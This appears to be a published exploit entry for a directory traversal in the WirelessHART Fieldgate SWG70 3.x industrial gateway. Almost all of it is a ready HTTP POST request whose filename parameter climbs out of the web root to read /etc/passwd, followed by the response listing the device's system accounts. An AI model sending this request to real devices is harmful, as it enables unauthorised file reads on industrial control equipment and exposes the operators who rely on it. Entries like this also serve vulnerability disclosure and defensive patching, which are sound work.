WirelessHART Fieldgate SWG70 3.0 - Directory Traversal

# Exploit Title: WirelessHART Fieldgate SWG70 3.0 - Directory Traversal
# Date: 2018-08-29
# Exploit Author: Hamit CİBO
# Vendor Homepage: http://endress.com
# Software Link: https://www.endress.com/en/Field-instruments-overview/System-Components-Recorder-Data-Manager/wirelesshart-gateway-fieldgate-swg70
# Version: SWG70 3.X
# Tested on: Windows
# CVE :

# PoC
# Request

POST /fcgi-bin/wgsetcgi HTTP/1.1
Content-Length: 129
Content-Type: application/x-www-form-urlencoded
Referer: {Target}
Cookie: ********
Host: {Target}
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0(Windows NT 6.1;WOW64)AppleWebKit/537.21(KHTML,like Gecko)Chrome/41.0.2228.0 Safari/537.21
Accept: */*

action=ajax&command=4&filename=../../../../../../../../../../etc/passwd&origin=cw.Communication.File.Read&transaction=fileCommand

# Response

HTTP/1.1 200 OK
Date: Fri, 13 Mar 1970 17:13:58 GMT
Server: Apache
Cache-Control: no-cache
Keep-Alive : timeout=15,max=100
Connection : Keep-Alive
Content-Type : text/plain
Content-Length : 333

root:x:0:0:root:/root:/bin/sh
ftp:x:11:101:ftp user:/home:/bin/false
www:x:12:102:www user:/home:/bin/false
sshd:x:13:100:SSH Server:/var/run/sshd:/bin/false
service:x:500:100:Service User:/home:/bin/sh